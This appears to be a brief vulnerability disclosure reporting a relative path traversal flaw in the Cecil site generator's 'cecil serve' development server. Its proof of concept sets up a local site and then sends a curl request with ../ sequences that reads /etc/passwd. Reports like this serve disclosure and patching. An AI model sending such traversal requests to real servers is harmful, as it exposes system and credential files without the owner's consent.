Description

When a Cecil site is served by cecil serve, Relative Path Traversal is possible via the URI path.

Proof of Concept

Run the following commands:

mkdir cecil-path-traversal-poc
cd cecil-path-traversal-poc
curl -L https://cecil.app/cecil.phar -o cecil
chmod +x cecil
./cecil new:site -n
./cecil serve

Then curl --path-as-is http://localhost:8000/../../../../../../../../etc/passwd.